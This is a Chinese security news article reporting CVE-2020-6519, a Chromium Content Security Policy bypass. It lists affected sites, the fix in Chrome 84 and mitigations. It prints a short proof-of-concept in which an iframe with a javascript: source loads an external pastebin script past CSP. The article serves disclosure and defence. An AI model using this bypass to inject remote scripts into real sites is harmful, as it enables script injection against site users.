网络安全研究人员发现了一个基于Chromium的web浏览器的0 day漏洞,漏洞影响Windows、Mac和安卓平台的基于Chromium的web浏览器,攻击者利用该漏洞可以绕过Chrome 73及之后版本的内容安全策略(Content Security Policy,CSP)。
漏洞CVE编号为CVE-2020-6519,CVSS评分为6.5分。攻击者利用该漏洞可以在目标网站上绕过CSP并执行任意恶意代码。
正常情况下,当站点的CSP设置不允许脚本执行源或动作时,运行下面的JS代码会被浏览器拦截:
/* this is a script that pops an alert message */ top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6'; /* this call will fail due to CSP */ var s = document.createElement("script"); s.src = top._CVE_URL; document.body.appendChild(s);
但是,通过iframe
的javascript: src
来运行相同的JS代码可以完全绕过网站配置的CSP:
/* this is a script that pops an alert message */ top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6'; /* this call will succeed although CSP */ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
由此可以看出,任意操作系统上的任意浏览器都允许站点上的代码进行CSP权限提升:
像推特、领英、Github、Google Play Store、Yahoo登陆页、PayPal和 Yandex这种用CSP保护的站点是不受CVE-2020-6519漏洞的影响的,因为这些CSP 使用随机数或哈希值在服务端和客户端加了一层额外的安全防护。
网站的CSP 规则可以要求浏览器拦截或允许特定的请求调用、特定的JS代码执行等来保护用户免受注入的恶意脚本或XSS攻击。Chrome的CSP机制存在漏洞并不意味着站点就一定会被黑。因为攻击者仍然需要能够从站点获取恶意脚本。
由于Chrome 用户超过20亿,占浏览器市场份额的65%,而且大多数主流站点都受到该漏洞的影响,因此实际受影响的用户数量超过数十亿。研究人员测试发现受影响的网站有Facebook、WellsFargo、Gmail 、Zoom、Tiktok、Instagram、WhatsApp、Investopedia、ESPN、Roblox、Indeed、Blogger、Quora等。
研究人员创建了一个简单的脚本并用来测试了一些网站。测试过程中,研究人员尝试从https://pastebin.com/raw/XpHsfXJQ
加载外部js脚本,也尝试加载漏洞利用:
浏览器和网站都受该漏洞影响的情况:
浏览器受该漏洞影响而网站不受该漏洞影响的情况:
浏览器受该漏洞影响的情况:
Chromium 在Chrome 84版本中修复了该漏洞,研究人员建议用户尽快更新到最新版本。
研究人员建议用户:
确保CSP规则的正确性和有效性;
在CSP的基础上,添加随机数或哈希来额外增加一层防护;
可以考虑基于JS的检测等方式。
https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/
本文作者:ang010ela
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/137648.html